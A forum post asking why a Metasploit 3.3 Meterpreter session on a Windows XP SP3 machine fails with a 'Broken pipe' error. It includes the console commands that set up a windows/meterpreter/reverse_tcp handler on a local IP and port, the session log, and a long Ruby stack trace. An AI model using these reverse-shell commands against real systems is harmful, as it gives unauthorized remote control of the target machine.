Thanks for the reply, a very useful link :-)
I'm getting a problem which I don't understand, I'm getting a broken pipe? Whatever that is, what could I be doing wrong?
Here is the code:
Code:
msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 31900
LPORT => 31900
msf exploit(handler) > set LHOST 192.168.1.19
LHOST => 192.168.1.19
msf exploit(handler) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.19:31900 -> ??)
meterpreter > use -l
stdapi
incognito
priv
espiameterpreter > use priv
Loading extension priv...[-]
failure: Broken pipe /pentest/exploits/framework3/lib/rex/io/stream.rb:40:in `syswrite'
/pentest/exploits/framework3/lib/rex/io/stream.rb:40:in `write'
/pentest/exploits/framework3/lib/rex/post/meterpreter/packet_dispatcher.rb:59:in `send_packet'
/pentest/exploits/framework3/lib/rex/post/meterpreter/packet_dispatcher.rb:92:in `send_packet_wait_response'
/pentest/exploits/framework3/lib/rex/post/meterpreter/client_core.rb:115:in `load_library'
/pentest/exploits/framework3/lib/rex/post/meterpreter/client_core.rb:157:in `use'
/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:266:in `cmd_use'
/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:254:in `each'
/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:254:in `cmd_use'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'
/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:94:in `run_command'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'
/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:60:in `interact'
/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:123:in `call'
/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:123:in `run'
/pentest/exploits/framework3/lib/rex/post/meterpreter/ui/console.rb:58:in `interact'
/pentest/exploits/framework3/lib/msf/base/sessions/meterpreter.rb:181:in `_interact'
/pentest/exploits/framework3/lib/rex/ui/interactive.rb:48:in `interact'
/pentest/exploits/framework3/lib/msf/ui/console/command_dispatcher/core.rb:997:in `cmd_sessions'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'
/pentest/exploits/framework3/lib/msf/ui/console/command_dispatcher/exploit.rb:143:in `cmd_exploit'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'
/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:127:in `run'
./msfconsole:82
meterpreter >
I've got an "exe" running on a XP SP3 machine which was created using Metasploit 3.3 and is only a "windows/meterpreter/reverse_tcp" by itself.
Connection works fine just can't issue it any commands for some reason like "ps".
Cheers,
B-CPU